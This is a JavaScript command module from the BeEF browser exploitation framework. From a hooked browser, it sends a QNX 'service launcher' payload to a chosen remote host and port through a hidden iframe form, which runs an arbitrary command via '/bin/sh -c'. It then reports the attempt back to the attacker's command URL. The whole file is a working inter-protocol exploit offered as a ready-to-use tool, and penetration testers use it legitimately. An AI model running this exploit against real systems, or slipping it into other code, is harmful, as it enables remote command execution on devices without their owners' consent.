// // Copyright 2012 Wade Alcorn wade@bindshell.net // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // beef.execute(function() { var rhost = '<%= @rhost %>'; var rport = '<%= @rport %>'; var timeout = '<%= @timeout %>'; // validate payload try { var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>'; var payload = '\r\nservice launcher\r\nstart/flags run /bin/sh /bin/sh -c "'+cmd+'"\r\n' } catch(e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString()); return; } // validate target details if (!rport || !rhost || isNaN(rport)) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port'); return; } if (rport > 65535 || rport < 0) { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port'); return; } // send commands var qnx_iframe = beef.dom.createIframeIpecForm(rhost, rport, payload); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); // clean up cleanup = function() { document.body.removeChild(qnx_iframe); } setTimeout("cleanup()", timeout*1000); });